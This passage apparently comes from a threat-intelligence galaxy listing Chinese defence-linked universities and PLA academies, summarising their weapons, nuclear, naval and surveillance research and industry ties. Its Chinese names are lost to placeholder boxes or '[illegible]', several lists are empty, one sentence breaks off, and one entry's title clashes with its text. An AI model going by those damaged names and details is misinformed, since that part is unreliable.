The Naval Research Academy was established in July 2017 following Xi Jinping's military reforms. Main areas of study include military theory and technological research as well as the maritime environment and national defence engineering.The Naval Research Academy actively collaborates with civilian universities as part of China's military-civil fusion program. In April 2019, delegates from the Naval Research Academy attended a meeting with officials from Xi'an Jiaotong University on co-operation directed at improving the quality assurance and technological reliability of complex armaments currently in service in the PLA Navy. Major General Li Wei from the Naval Research Academy stated that his colleagues were paying 'very close attention to this co-operation with Xi'an Jiaotong University' in the development and sustainment of naval equipment.The Naval Research Academy also collaborates with civilian research institutes. For example, the Institute for Industrial Military-Civil Fusion at the Research Institute of Machinery Industry Economic and Management claims to have worked with the Naval Research Academy and a number of state-owned enterprises that focus on defence technology such as China Shipbuilding Industry Corporation (CSIC) in order to develop strategies for military-civil fusion.The Naval Research Academy's involvement in military-civil fusion is particularly notable for work on maritime information technology and equipment. In January 2019, delegates from the Naval Research Academy attended a conference hosted by the National Key Laboratory of Underwater Acoustic Science and Technology (□□□□□□□□□□□□) and the Key Laboratory of Marine Information Acquisition and Security Industry and Information Technology (□□□□□□□□□□□□□□□□□□□) of Harbin Engineering University (HEU). The Naval Research Academy's Liu Qingyu (□□□) was reported to have made a presentation on international and domestic developments in marine sonar technology at the conference.Liu Qingyu from the Naval Research Academy has a particularly strong record of engagement with civilian and military institutions for his research into marine sonar technology. In 2018, Liu delivered a presentation to the Northwestern Polytechnical University (NPU) which ‘elaborated on some of the problems facing the national costal defence industry’ and ‘suggested areas for future research into marine acoustics.’ Both students and academics from NPU attended Liu’s presentation. Liu has also published papers on acoustic science with scholars from the Chinese Academy of Sciences, the Naval University of Engineering, and Northwestern Polytechnical University.

The tag is: *misp-galaxy:china-defence-universities="Naval Research Academy (□□□□□□□□□□□□□)"*

Table 802. Table References

Links
https://unitracker.aspi.org.au/universities/naval-research-academy

Naval University of Engineering (□□□□□□□□□□□□□□□□)

NUE is one of the PLA’s five comprehensive universities, which trains students in a variety of engineering and core military disciplines related to naval warfare.The university is home two national laboratories. The National Key Laboratory for Vessel Integrated Power System Technology (□□□□□□□□□□□□□□□□□□□), which was established in 2010 to carry out ‘indigenous research and development’ into integrated electric propulsion (IEP) systems that power naval vessels at sea. IEP generally uses diesel generators and/or gas turbines to generate the electricity needed in order to turn propellers on large surface vessels such as guided missile destroyers or amphibious assault ships. The lab is jointly run by NUE and China Shipbuilding Industry Corporation’s (CSIC) 712th Research Institute.Rear Admiral Ma Weiming has led the National Key Laboratory for Vessel Integrated Power System Technology to develop propulsion systems for aircraft catapults, electromagnetic weapons and satellite launches. Admiral Ma has been referred to as ‘the father of China’s electromagnetic catapult system’ (□□□□□□□□□) by official Chinese media sources.NUE’s National Defense Technology Key Laboratory of Marine Vibration and Noise (□□□□□□□□□□□□□□□□□) works on acoustic quieting technology for submarines. The lab is probably jointly run with CSIC’s 701st Research Institute, also known as China Ship Development and Design Center (□□□□□□□□□□□□).Another laboratory that conducts defence research at NUE is the Nuclear Marine Propulsion Engineering Military Key Laboratory (□□□□□□□□□□□□□□□□). The lab focuses on researching and training engineers in nuclear engineering for warships and submarines.Academic departments at the Naval University of Engineering include:

The tag is: *misp-galaxy:china-defence-universities="Naval University of Engineering (□□□□□□□□□□□□□□□□)"*

Table 803. Table References

Links
https://unitracker.aspi.org.au/universities/naval-university-of-engineering

Navy Aviation University (□□□□□□□□□□□□□□□□)

The Navy Aviation University was established upon the merger of the Naval Aviation Pilot Academy and the Naval Aviation Engineering University during Xi Jinping's military reforms in 2017. The university conducts research into missile engineering, electrical engineering and automation, navigation engineering as well as air station management engineering and flight vehicle design engineering. Academic articles published by the university have looked at topics such as the PLA-N's combat system capability and naval aviation management systems.

The tag is: *misp-galaxy:china-defence-universities="Navy Aviation University ([illegible])"*

Table 804. Table References

Links
https://unitracker.aspi.org.au/universities/navy-aviation-university

Navy Logistics Academy ([illegible])

The Navy Logistics Academy is an institution devoted to training naval cadets and officers specialising in logistics. The academy's core training and research focuses on military studies, management science and economics, while specialist lines of research include logistics command management and military financial auditing. The Center for Naval Analyses (CNA) in Arlington, Virginia have noted that entry into the academy tends to occur at the mid-career level for officers in the PLA-N.

The tag is: *misp-galaxy:china-defence-universities="Navy Logistics Academy ([illegible])"*

Table 805. Table References

Links
https://unitracker.aspi.org.au/universities/navy-logistics-academy

Navy Medical University ([illegible])

The PLA Navy Medical University, formerly known as the Second Military Medical University, was established in 1951 as a university focussed on medical research for the Chinese military.

The tag is: *misp-galaxy:china-defence-universities="Navy Medical University ([illegible])"*

Table 806. Table References

Links
https://unitracker.aspi.org.au/universities/navy-medical-university

Navy Submarine Academy ([illegible])

The Navy Submarine Academy is responsible for the training of submariners to crew its conventionally and nuclear-powered submarines. The academy focuses its research on subjects such as electrical and information engineering, combat simulation, underwater acoustic engineering and navigation technology along with weapons systems and launch engineering and underwater ordnance technology. The academy also offers programs in combat tactics and the underwater combat environment.The Navy Submarine Academy pursues research that may contribute to Chinese anti-submarine warfare capabilities through the Underwater Operational Environment Military Key Laboratory (□□□□□□□□□□□□□). The academy also oversees part of the The publication record of researchers from the Navy Submarine Academy also suggests a strong interest in foreign developments in undersea warfare systems. In 2018, the Navy Submarine Academy signed a cooperative agreement with Harbin Engineering University (HEU). The agreement is directed at promoting research collaboration in subjects such as big data fusion, intelligent navigation, underwater acoustic target recognition, and underwater unmanned intelligent control systems.

The tag is: *misp-galaxy:china-defence-universities="Navy Submarine Academy (□□□□□□□□□□□□□□□)"*

Table 807. Table References

Links
https://unitracker.aspi.org.au/universities/navy-submarine-academy

North China Institute of Aerospace Engineering (□□□□□□□□□)

NCIAE specialises aerospace technology and engineering. The university is primarily run by the Hebei Provincial Government, together with the State Administration of Science, Technology and Industry for National Defense, China Aerospace Science and Technology Corporation (CASC), and China Aerospace Science and Industry Corporation (CASIC).NCIAE appears to be a major training center for CASC and CASIC, state-owned defence conglomerates that dominate China’s missile and satellite sector. NCIAE runs at least two research and development centres with CASC and was involved in the development of the Shenzhou spacecraft, Long March rockets and the DFH-5 satellite platform.In 2003, the Hebei Provincial Government, CASC and CASIC signed an agreement to jointly support NCIAE (pictured below, courtesy of NCIAE).

The tag is: *misp-galaxy:china-defence-universities="North China Institute of Aerospace Engineering (□□□□□□□□□)"*

Table 808. Table References

Links
https://unitracker.aspi.org.au/universities/north-china-institute-of-aerospace-engineering

North China University of Science and Technology (□□□□□□□)

NCST was founded in 2010 and focuses on metallurgy and materials science. The university engages in growing levels of defence research since coming under the supervision of defence industry agency SASTIND in 2013.‘Military-use critical materials’ has been designated as a key defence research area at NCST.

The tag is: *misp-galaxy:china-defence-universities="North China University of Science and Technology*

(□□□□□□)"

Table 809. Table References

Links
https://unitracker.aspi.org.au/universities/north-china-university-of-science-and-technology

North University of China (□□□□)

NUC is a civilian university that specailises in defence research. It is jointly administered by the Shanxi Provincial Government and defence industry agency SASTIND. The university traces its roots back to an ordnance school established by the Eighth Route Army in 1941, and defence research is central to its identity. According to NUC’s website, ‘Our university has long established excellent and cooperative relationships with Central Military Commission departments, SASTIND, Norinco Group, China South Industries Group, China Aerospace Science and Technology Group, China Aerospace Science and Industry Group, and our graduates are spread across different areas in defence industry.’ Approximately 2000 of its graduates enter the defence industry each year.NUC specialises in testing and developing weapons, including tanks, missiles and explosives. Its Underground Target Damage Technology National Defense Key Subject Laboratory reportedly runs the only underground shooting range in a Chinese university. The university is a member of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (□□).

The tag is: *misp-galaxy:china-defence-universities="North University of China (□□□□)"*

Table 810. Table References

Links
https://unitracker.aspi.org.au/universities/north-university-of-china

Northeastern University (□□□□)

NEU is a major civilian university subordinate to the Ministry of Education. The university hosts three national laboratories, all of which are related to industrial manufacturing technology.NEU engages in growing levels of defence research. It holds secret-level security credentials allowing it to participate in classified weapons projects and hosts the defence-focused Key Laboratory of Aerodynamic Equipment Vibration and Control. In 2018, NEU was approved to build a further five laboratories that could be involved in future defence or security-related research.In 2019, NEU joined the Shenyang Aircraft Design Institute Collaborative Innovation Alliance (□□□□□□□□□□□□□□□), a group of universities and institutes, led by defence conglomerate AVIC, that are involved in the development of military aircraft. NEU also runs a National Defense Science and Technology Development Research Institute (□□□□□□□□□). In 2019, the institute’s senior deputy director was awarded a China Industry-University-Research Cooperation Military-Civil Fusion Prize.

The tag is: *misp-galaxy:china-defence-universities="Northeastern University (□□□□)"*

Table 811. Table References

Links
https://unitracker.aspi.org.au/universities/northeastern-university

Northwest Institute of Nuclear Technology (□□□□□□□□)

NINT is one of China's main sites of nuclear technology research. While the Chinese Academy of Engineering Physics is believed to be China's only manufacturer of nuclear warheads, NINT likely plays a supporting role in research for nuclear weapons. It is especially active in research on lasers, which can be used in nuclear fusion reactors or weapons. Aside from nuclear technology, NINT carries out research on topics including electronics, information science, materials science, control science and chemistry.NINT has partnerships with several institutes in the Chinese Academy of Sciences, Xiangtan University, Northwestern Polytechnical University, and Xi'an Jiaotong University.

The tag is: *misp-galaxy:china-defence-universities="Northwest Institute of Nuclear Technology (□□□□□□□□)"*

Table 812. Table References

Links
https://unitracker.aspi.org.au/universities/northwest-institute-of-nuclear-technology

Northwestern Polytechnical University (□□□□□□□)

The university is one of the 'Seven Sons of National Defence' subordinate to MIIT. It is heavily engaged in military research, describing itself as 'devoted to improving and serving the national defence science and technology industry.' NWPU's research focuses on aviation, space and naval technology. Between 2014 and 2018, the university's School of Mechanics, Civil Engineering and Architecture alone spent nearly RMB200 million (AUD40 million) on defence research projects. 41.25% of 2017 NWPU graduates who gained employment were working in the defence sector.NWPU is known for its development of unmanned aerial vehicles (UAVs). The only Chinese university hosting a UAV defence laboratory, NWPU produces the ASN series of UAVs though its subsidiary company, Aisheng Technology Group Co., Ltd. The Chinese military is the company's largest customer and the company once claimed to produce 90% of China's drones.The university has close ties to state-owned shipbuilding and aerospace conglomerates.

The tag is: *misp-galaxy:china-defence-universities="Northwestern Polytechnical University (□□□□□□□)"*

Table 813. Table References

Links
https://unitracker.aspi.org.au/universities/northwestern-polytechnical-university

Officers College of the PAP (□□□□□□□□□□□□□□□□□)

The Officers College of the PAP was established as an institution devoted to training officers of China's paramilitary service in command and engineering disciplines. The college's research focusses on combat command, command information systems engineering, philosophy, law, political education, Chinese language and literature, history, mathematics, physics, applied psychology, electrical science and technology, computer science and technology, and management science and engineering.The Officers College of the PAP is especially active in developing drone technology. On 26 June 2019, the college tested its X-Swift unmanned aerial vehicles (UAV) for a test surveillance and reconnaissance flight with special operations personnel in Sichuan.The college is also active in developing applications for drone technology. Researchers from the college have collaborated with personnel from the PLA Logistics Engineering University to publish an article in favour of deploying UAVs to southern Xinjiang for counter-terrorism missions. The researchers argue for UAVs to be deployed for regional surveillance and strike as well as search and seizure missions in Xinjiang, drawing off lessons from the US coalition against ISIS.

The tag is: *misp-galaxy:china-defence-universities="Officers College of the PAP (□□□□□□□□□□□□□□□□)"*

Table 814. Table References

Links
https://unitracker.aspi.org.au/universities/officers-college-of-the-pap

PAP NCO College (□□□□□□□□□□□□□□)

The PAP NCO College was established in 2017 following Xi Jinping's reforms to China's military education system. The college does not appear to engage in significant levels of defence research and focuses its attention on training enlisted personnel in China's paramilitary service, the People's Armed Police.

The tag is: *misp-galaxy:china-defence-universities="PAP NCO College (□□□□□□□□□□□□□□□)"*

Table 815. Table References

Links
https://unitracker.aspi.org.au/universities/pap-nco-college

Peking University (□□□□)

PKU is considered among China's most prestigious universities with a storied history. It is ranked as one of China's top two academic institutions, along with Tsinghua University. Unsurprisingly, the university has been included in a number of the PRC's educational initiatives, including as a Class A institution under the Double First-Class University program.PKU has been subject to at least two joint-supervision agreements between the Ministry of Education and defence industry agency SASTIND. These agreements, signed in 2012 and 2016, are designed to deepen the university's involvement in defence research.PKU's Advanced Technology Institute was founded in 2006 to oversee and develop the university's defence research. Includes several research centres and supervises the university's four major defence laboratories. The institute's research covers semiconductors, nuclear technology, quantum physics, advanced materials, underwater acoustics, satellite navigation and communications, flight propulsion, aerospace engineering and microprocessors.In 2017, PKU and the Chinese Academy of Engineering Physics (CAEP)—China's nuclear weapons program—established the PKU–CAEP New Structure Center for Applied Physics and Technology (□□□□-□□□□□□□□□□□□□□□□□□□□□□□□□□□). The institution was founded on the basis of the

PKU Center for Applied Physics and Technology (□□□□□□□□□□□□□□□) established with CAEP in 2007. The joint centre carries out research on materials, lasers for atomic physics applications, laser plasma physics, computer science and fluid dynamics. PKU's report on the centre notes that it will serve China's national defence needs and that CAEP's deputy director emphasised it should 'take the path of military-civil fusion'. The joint centre's honorary director and founding director, He Xiantu, is credited as the developer of China's first neutron bomb.PKU takes precautions for the protection of classified information. The university has an office devoted to the secure handling of classified information, hosting regular meetings and training sessions to strengthen the university's security culture. In 2006, the university received security credentials for participation in classified defence research.

The tag is: *misp-galaxy:china-defence-universities="Peking University (□□□□)"*

Table 816. Table References

Links
https://unitracker.aspi.org.au/universities/peking-university

People's Armed Police Command College (□□□□□□□□□□□□)

The PAP Command College is an institution devoted to training officers in China's paramilitary service, the People's Armed Police, that was established in 1984. The college's key subjects focus on law, engineering, military studies and management studies, but most attention is devoted to paramilitary training and political work. The PAP Command College maintains a focus on paramilitary training, but it does retain a scientific research program.Drone technology is another area of interest for the PAP Command College. The college was involved in testing the X-Swift unmanned aerial vehicle (UAV) in June 2019. Kang Jian from the college's Scientific Research Department also attended the 2017 Drone World Congress hosted in Shenzhen.

The tag is: *misp-galaxy:china-defence-universities="People's Armed Police Command College (□□□□□□□□□□□□)"*

Table 817. Table References

Links
https://unitracker.aspi.org.au/universities/peoples-armed-police-command-college

People's Public Security University of China (□□□□□□□□)

PPSUC was founded in July 1948. In 1984, it was developed into a full-time higher education institution with master's and bachelor's degree programs. In 1998, it was merged with the Chinese People's Police University (□□□□□□□□). Its schools include a Marxism School, Law School, Law and Order School, Investigation and Anti-Terrorism School, Criminology School, Pubic Security Management School, International Policing and Law Enforcement School, Police Training College (which covers combat training and command and tactical training), Criminal Science and

Technology School, Information Technology and Network Security School, and a Traffic Management School.PPSUC is involved in the development of technological tools for public security applications, including image recognition. For instance, the university signed an agreement with Chinese video surveillance equipment manufacturer Hikvision in 2016 to set up a joint laboratory on video image recognition technology. In 2018, it signed a strategic cooperation agreement with Xiamen Meiya Pico Information Co., a Chinese company that provides digital forensics and information security products, which included upgrading a forensics laboratory and establishing a cyber security attack and defence laboratory.The university also has cooperation agreements with numerous local government-level public security bureaus across the PRC. These include agreements on image recognition technology for local public security bureaus and joint laboratories. For instance, in 2018 alongside the Nanshan sub-bureau of Shenzhen Public Security Bureau and the artificial intelligence companies SenseTime and Shenzhen Yuantian Lifei, it signed a strategic cooperation agreement on applying video recognition and the establishment of a joint laboratory.

The tag is: *misp-galaxy:china-defence-universities="People's Public Security University of China (□□□□□□□□)"*

Table 818. Table References

Links
https://unitracker.aspi.org.au/universities/peoples-public-security-university-of-china

Railway Police College (□□□□□□)

The Railway Police College is China's only institution of higher learning devoted to training specialists responsible for securing the Chinese railway network. In 2017, the college graduated over 1,000 personnel trained in disciplines such as surveillance studies, political security studies and safety management studies.

The tag is: *misp-galaxy:china-defence-universities="Railway Police College (□□□□□□)"*

Table 819. Table References

Links
https://unitracker.aspi.org.au/universities/railway-police-college

Renmin University (□□□□)

Renmin University is subordinate to the Ministry of Education and also supported by the Beijing Municipal Government. Its focus is in the humanities and social sciences. Although the university does not appear to have ties with the national defense industry, it was placed on the US Government's Unverified List in April 2019, which places restrictions on US exports to the university. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

The tag is: *misp-galaxy:china-defence-universities="Renmin University (□□□□)"*

Table 820. Table References

Links
https://unitracker.aspi.org.au/universities/renmin-university

Rocket Force Command College (□□□□□□□□□□□□□)

The Rocket Force Command College is the PLA’s premier institute devoted to training cadets and early-to-mid career officers in conventional and nuclear missile campaigns. Candidates require understanding of battlefield command, management and campaign tactics prior to entry into the college. The college then builds on this knowledge by providing specialist training for missile campaigns.

The tag is: *misp-galaxy:china-defence-universities="Rocket Force Command College (□□□□□□□□□□□□□)"*

Table 821. Table References

Links
https://unitracker.aspi.org.au/universities/rocket-force-command-college

Rocket Force Research Institute (□□□□□□□□□□□□□)

The Rocket Force Research Institute develops nuclear and conventional ballistic missiles, carrying out research on warhead, guidance and control technology. It appears to be the successor to the PLA Second Artillery Equipment Academy (□□□□□□□□) and the Rocket Force Equipment Academy (□□□□□□□□). The institute reportedly hosts two national-level defence laboratories. It also has a strategic cooperation agreement with Beijing Institute of Technology, which hosts two state key laboratories that study impacts and explosions.

The tag is: *misp-galaxy:china-defence-universities="Rocket Force Research Institute (□□□□□□□□□□□□□)"*

Table 822. Table References

Links
https://unitracker.aspi.org.au/universities/rocket-force-research-institute

Rocket Force Sergeant School (□□□□□□□□□□□□□□)

The Rocket Force Officer College is an institution devoted to training military personnel for China’s tactical and strategic missile forces that was established after Xi Jinping’s military reforms in 2017. The college’s focus is on providing technical training to personnel in the PLARF’s missile systems. However, the college has also produced research on underground engineering which would be useful to hardening bases for missile strikes.

The tag is: *misp-galaxy:china-defence-universities="Rocket Force Sergeant School (□□□□□□□□□□□□□□)"*

Table 823. Table References

Links
https://unitracker.aspi.org.au/universities/rocket-force-sergeant-school

Rocket Force University of Engineering (□□□□□□□□□□□□□□)

RFUE is the PLA strategic missile force’s leading institution for training technical and scientific talent. Students entering the university tend to be university graduates and career members of the PLA Rocket Force.Defence research conducted by the RFUE focuses on building resilience and capabilities for conventional and nuclear missile strikes. RFUE hosts the Missile Testing and Control Virtual Simulation Experimental Teaching Center (□□□□□□□□□□□□□□□□□).The university’s key areas of research include:

The tag is: *misp-galaxy:china-defence-universities="Rocket Force University of Engineering (□□□□□□□□□□□□□□)"*

Table 824. Table References

Links
https://unitracker.aspi.org.au/universities/rocket-force-university-of-engineering

Shandong University (□□□□)

SDU is subordinate to the Ministry of Education. Since 2016, it has also been supervised by defence industry agency SASTIND as part of a program to expand universities’ involvement in defence research and training.SDU has pursued greater involvement in defence research since at least 2006, when it established a national defence research institute to coordinate relevant work across the university. Shortly afterwards, it received secret-level security credentials allowing it to participate and research and production for classified weapons and defence technology projects. In 2008, it was recognised as one of Shandong Province’s 10 outstanding defence industry units.SDU collaborates with the Chinese Academy of Engineering Physics, China’s nuclear warheads development facility, on topics including the development of crystals that are used in the study of nuclear explosions and research on fusion ignition.

The tag is: *misp-galaxy:china-defence-universities="Shandong University (□□□□)"*

Table 825. Table References

Links
https://unitracker.aspi.org.au/universities/shandong-university

Shandong University of Technology (□□□□□□)

SDUT specialises in engineering and carries out growing levels of defence research. In 2018, SDUT became the only university in Shandong Province jointly supervised by defence industry agency SASTIND besides Shandong University. This indicates that SDUT’s involvement in defence research and links to the defence industry will grow in coming years.SASTIND has specifically indicated its intention to build up advanced materials and advanced manufacturing technology as areas of defence research at SDUT. SDUT has carried out research on mechatronic engineering for the defence industry, and developed a non-destructive testing system for ceramic antenna covers on missiles.

The tag is: *misp-galaxy:china-defence-universities="Shandong University of Technology (□□□□□□)"*

Table 826. Table References

Links
https://unitracker.aspi.org.au/universities/shandong-university-of-technology

Shanghai Jiao Tong University (□□□□□□)

SJTU is directly under the administration of the MOE. In 2016 it also came under the supervision of defence industry agency SASTIND as part of a ‘joint construction’ agreement between the MOE and SASTIND.The university has at least three laboratories focused on defense research relating to materials science, ships and hydrodynamics. The defence labs have established substantial collaborative research and talent development relationships with hydrodynamics research groups at universities including MIT, Cornell, and the Danish Technical University.One of the university’s strongest departments is computer science. Its computer science program has garnered support from American tech companies such as Cisco Systems and Microsoft, which collaborated on establishing a laboratory for intelligent computing and intelligent systems at the university. In particular, the School of Information Security Engineering, has ties to the PLA through its dean and chief professor who both previously worked for the PLA. SJTU also has ties to the PLA Unit 61398, a cyber espionage unit that has been implicated in cyber attacks on the United States.SJTU is also known for its involvement in maritime research. The School of Naval Architecture, Ocean & Civil Engineering cooperates extensively with other universities from around the world as well as with many domestic industrial enterprises, such as defence conglomerate CSIC and CASC. The school is the lead unit of the High-tech Ship and Deep-Sea Development Equipment Collaborative Innovation Center (□□□□□□□□□□□□□□□□□), where it has contributed to assisting the PLA Navy’s transition to offshore defense operations.

The tag is: *misp-galaxy:china-defence-universities="Shanghai Jiao Tong University (□□□□□□)"*

Table 827. Table References

Links
https://unitracker.aspi.org.au/universities/shanghai-jiaotong-university

Shanghai University (□□□□)

SHU is engaged in growing levels of defence research. In 2016, the Shanghai Municipal Government and defence industry agency SASTIND agreed to jointly supervise and support its participation in defence research.Shanghai University has begun building up its capability in defence research in areas such as unmanned surface vehicles, materials for missiles, and microwave technology. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.Shanghai University’s Research Institute of Unmanned Surface Vehicle Engineering researches and produces unmanned surface vessels, some of which are for the China Maritime Safety Administration.

The tag is: *misp-galaxy:china-defence-universities="Shanghai University (□□□□)"*

Table 828. Table References

Links
https://unitracker.aspi.org.au/universities/shanghai-university

Shenyang Aerospace University (□□□□□□□□)

SAU is the only university formally under the supervision of China’s military aircraft manufacturer, AVIC. SAU engages in high levels of defence research and describes itself as a base for training talent in national defence science and technology. Serving China’s military aviation industry is what SAU refers to as its ‘glorious tradition’.Many of China’s military aircraft are designed and built in Shenyang, which is home to AVIC subsidiaries Shenyang Aircraft Design Institute and Shenyang Aircraft Corporation. SAU and AVIC work closely together, including through a joint research institute.

The tag is: *misp-galaxy:china-defence-universities="Shenyang Aerospace University (□□□□□□□□)"*

Table 829. Table References

Links
https://unitracker.aspi.org.au/universities/shenyang-aerospace-university

Shenyang Ligong University (□□□□□□)

SYLU is a civilian university that specialises in defence research. The university’s primary areas of defence research are armament science, information and communications engineering, control science, materials science and mechanical engineering. Apart from Xi’an Technological University, SYLU is the only Chinese civilian university supervised by state-owned arms manufacturers Norinco Group and China South Industries Group. In 2016, it also came under the supervision of defence industry agency SASTIND.SYLU is a member of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for the Chinese word for armaments, bingqi (□□). The university runs a weapons museum on its campus. Furthermore, SYLU is a member of the Liaoning Military-Civil Fusion Arms Industry-College Alliance (□□□□□□□□□□□□□□□□) and SYLU’s president doubles as chairman of the alliance. This indicates close ties between SYLU and China’s arms industry.

The tag is: *misp-galaxy:china-defence-universities="Shenyang Ligong University (□□□□□□)"*

Table 830. Table References

Links
https://unitracker.aspi.org.au/universities/shenyang-ligong-university

Shenzhen University (□□□□)

SZU is the primary university in China's rapidly growing technology hub, Shenzhen. The university does not appear to engage in high levels of defence research outside of its national defence laboratory on automatic target recognition. The laboratory was founded in 2001, is overseen by the PLA and SASTIND, and is headed by the university's former president.

The tag is: *misp-galaxy:china-defence-universities="Shenzhen University (□□□□)"*

Table 831. Table References

Links
https://unitracker.aspi.org.au/universities/shenzhen-university

Shijiazhuang Tiedao University (□□□□□□□)

STDU specializes in transportation science, engineering and information technology. Its predecessor was the PLA Railway Engineering College.Since 2013, STDU has also been supervised by defence industry agency SASTIND through an arrangement designed to expand the university's involvement in defense-related research and training. STDU has secret-level security credentials, allowing it to participate in classified defense technology research.STDU is home to the National Defense Transportation Research Institute (□□□□□□□), which is the only civilian university research institute that specializes in national defense transportation research. STDU is also home to the Institute of Complex Networks and Visualisations (□□□□□□□□□□□), which develops military-use information processing software including remote-control systems for aerospace applications.

The tag is: *misp-galaxy:china-defence-universities="Shijiazhuang Tiedao University (□□□□□□□)"*

Table 832. Table References

Links
https://unitracker.aspi.org.au/universities/shijiazhuang-tiedao-university

Sichuan University (□□□□)

Sichuan University (SCU) is a leading Chinese university subordinate to the Ministry of Education. In 2011 and again in 2016 SCU was the subject of joint construction agreements between the MOE and defence industry agency SASTIND designed to increase its involvement in defence research.The university hosts at least three laboratories that focus on defence research and has a close relationship with the Chinese Academy of Engineering Physics (CAEP), the PRC's primary nuclear warheads research facility. SCU's Institute of Atomic and Molecular Physics and CAEP jointly established the Institute of Atomic and Molecular Engineering and the Institute of High Temperature and High Pressure Physics. In 2012, SCU was added to the US BIS Entity List as an alias of CAEP, implying that it acts as a proxy for the facility.A 2011 study by American think tank Project 2049 concluded that a PLA signals intelligence unit 'likely maintain a close, mutually supportive relationship with related organizations in Chengdu, such as Sichuan University's Information Security and Network Attack and Defense Laboratory (□□□□□□□□□□□□□□□□).'

The tag is: *misp-galaxy:china-defence-universities="Sichuan University (□□□□)"*

Table 833. Table References

Links
https://unitracker.aspi.org.au/universities/sichuan-university

Soochow University (□□□□)

Soochow University has been jointly supervised by the Jiangsu Provincial Government and defence industry agency SASTIND since 2016. This arrangement is designed to expand the university’s involvement in defense-related research and training.The university has five designated defence disciplines, centred around research on radiation. In particular, its School of Radiation Medicine and Protection has strong defence links, as it has become a major teaching and research base for the nuclear industry.Suzhou University is also involved in promoting military-civil fusion. The university cooperated with Changfeng Science Technology Industry Group (a subsidiary of missile manufacturer CASC) and Suzhou Xinkuan Electronic Technology Co., Ltd. to jointly establish the ‘Suzhou University Military-Civil Fusion Internet of Things Collaborative Innovation Center.’

The tag is: *misp-galaxy:china-defence-universities="Soochow University (□□□□)"*

Table 834. Table References

Links
https://unitracker.aspi.org.au/universities/soochow-university

South China University of Technology (□□□□□□□)

SCUT is subordinate to the Ministry of Education and in 2018 was placed under a joint-construction agreement between the MOE and SASTIND. This arrangement is designed to develop the university’s involvement in defence-related research and training. SCUT also holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects. As a result of the university’s placement under joint construction and its secret-level security credentials, SCUT’s involvement in defence research is likely to grow in coming years.Since 2008, the university has hosted a defence research laboratory on materials science. The lab was initially run by the university’s president. In 2017, the university joined the Guangzhou Civil-Military Integration Industry Coalition. More recently in 2019, SCUT and iFlytek established an artificial intelligence company, Guangzhou Huanan Naokong Zhineng Keji Gongsi (□□□□□□□□□□□□).

The tag is: *misp-galaxy:china-defence-universities="South China University of Technology (□□□□□□□)"*

Table 835. Table References

Links
https://unitracker.aspi.org.au/universities/south-china-university-of-technology

Southeast University (□□□□)

SEU is a leading Chinese university that engages in high levels of defence research. In 2015, the university undertook RMB180m (AUD37m) of defence research projects, placing it among the Ministry of Education universities most involved in defence research. That figure has almost certainly grown since 2016, when SEU came under a 'joint construction' agreement between the Ministry of Education and defence industry agency SASTIND. The university has secret security credentials, enabling it to participate in secret defence projects.The university has also been linked to cyberespionage. Researchers at its School of Cyber Science and Engineering (□□□□□□□□) have been funded by the MSS, China's civilian intelligence agency. The School of Cyber Science and Engineering has close ties to TopSec, a Chinese information security company that trains, recruits and works with PLA cyber security officers.SEU states that its defence research relies on its excellence in electronics. It has at least two laboratories that specialise in defence research on navigation technology and underwater acoustics. Both laboratories may be involved in developing technology for underwater warfare. Representatives from the PLA Navy's Submarine Academy visited SEU in 2017.SEU has also built relationships with state-owned defence conglomerates. In 2017, the university signed a strategic cooperation agreement with missile-manufacturer China Aerospace Science and Industry Corporation. In 2018 and 2019, it signed similar agreements with subsidiaries of China Electronics Technology Group Corporation, China's leading manufacturer of military electronics.

The tag is: *misp-galaxy:china-defence-universities="Southeast University (□□□□)"*

Table 836. Table References

Links
https://unitracker.aspi.org.au/universities/southeast-university

Southwest University of Science and Technology (□□□□□□)

SWUST is deeply engaged in defence research and is based in Mianyang, a city also home to China's nuclear weapons program and many other parts of the defence industry. Since 2006, the university has been subject to several joint construction agreements between the Sichuan Provincial Government and SASTIND that are designed to increase its involvement in defence research.SWUST carries out defence-related research on nuclear waste, radiation protection and electronic information engineering. It holds secret-level security credentials, allowing it to undertake classified defence technology and weapons projects. The university's main defence laboratory carries out research on topics such as the use of microorganisms to clean nuclear waste.SWUST has worked closely with the Chinese Academy of Engineering Physics (China's nuclear warheads program), China Aerodynamics Research and Development Center (a PLA base specialising in aircraft design), and defence conglomerates since its establishment. The fact that the university hosts the province's 'Civil-military Integration Institute' is a testament to its integration with the military and defence industry.

The tag is: *misp-galaxy:china-defence-universities="Southwest University of Science and Technology (□□□□□□)"*

Table 837. Table References

Links
https://unitracker.aspi.org.au/universities/southwest-university-of-science-and-technology

Space Engineering University (□□□□□□□□□□□□□□□□□□□)

SEU was established in June 2017 as an expansion of the former PLA Equipment Academy (□□□□). SEU describes itself as a 'comprehensive university that trains talents for space command management and engineering.' It is intended to serve as the 'cradle of the new PLA's space talent training.' The SEU is subordinate to and supports the PLA Strategic Support Force's Space Systems Department (□□□□□), which has taken over the space and potentially counterspace capabilities that were previously the purview of the former General Armaments Department and, to a lesser degree, the former General Staff Department.The SEU offers degree programs at the undergraduate, master's, and doctoral levels, as well as programs for non-commissioned officers, across disciplines including space target surveillance, remote sensing science and technology, and aerospace information security. Its faculty include nine CMC Science and Technology Commission experts and twenty professors who are designated as expert defence science and technology advisors.Beyond its mission of talent cultivation, the SEU also engages in extensive research. In particular, the SEU has a total of eighteen laboratories, which include two national-level key laboratories and one military-level key laboratory.

The tag is: *misp-galaxy:china-defence-universities="Space Engineering University (□□□□□□□□□□□□□□□□□□□)"*

Table 838. Table References

Links
https://unitracker.aspi.org.au/universities/space-engineering-university

Special Police Academy (□□□□□□□□□□□□□□)

SPA is made up of departments for training, political work and logistics. As such, SPA engages in little defence research and focusses its activities on training special operations paramilitary troops in command processes.

The tag is: *misp-galaxy:china-defence-universities="Special Police Academy (□□□□□□□□□□□□□□)"*

Table 839. Table References

Links
https://unitracker.aspi.org.au/universities/special-police-academy

Sun Yat-sen University (□□□□)

